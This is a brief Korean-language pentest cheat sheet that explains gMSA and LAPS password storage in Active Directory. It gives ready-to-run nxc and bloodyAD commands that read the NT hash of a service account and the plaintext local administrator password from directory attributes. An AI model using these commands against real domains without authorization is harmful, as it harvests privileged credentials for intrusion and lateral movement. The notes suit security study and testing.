GMSAPassword

개념

  • 서비스 계정의 패스워드를 AD가 자동으로 관리하는 시스템
  • 주기적으로 패스워드가 자동 변경된다
  • ReadGMSAPassword 권한이 있는 계정만 패스워드를 읽을 수 있다.
  • 서비스 계정의 msDS-ManagedPassword 속성에 본인의 NT 해시가 저장되고 관리된다.

Command

1. nxc (crackmapexec)

nxc ldap '$target_ip' -u '$username' -p '$password' --gmsa
  • 성공 시, 타겟 계정의 NT Hash 를 얻을 수 있다.

2. bloodyAD

bloodyAD --host '$target_ip' -d '$target_domain' -u '$username' -p '$password' get object '$target_account' --attr msDS-ManagedPassword

LAPSPassword

개념

  • 로컬 관리자의 패스워드를 AD가 자동으로 관리하는 시스템
  • GMSAPassword와 유사하지만, LAPSPassword로컬 관리자의 패스워드를 특정 컴퓨터 계정에 저장하고 관리하는 차이가 있다.
  • 컴퓨터 계정의 ms-MCS-AdmPwd 속성에 로컬 관리자의 평문 비밀번호를 저장한다.

Command

1. nxc (crackmapexec)

nxc ldap '$target_ip' -u '$username' -p '$password' -M laps

2. bloodyAD

bloodyAD --host '$dc_ip' -d '$domain' -u '$username' -p '$password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

References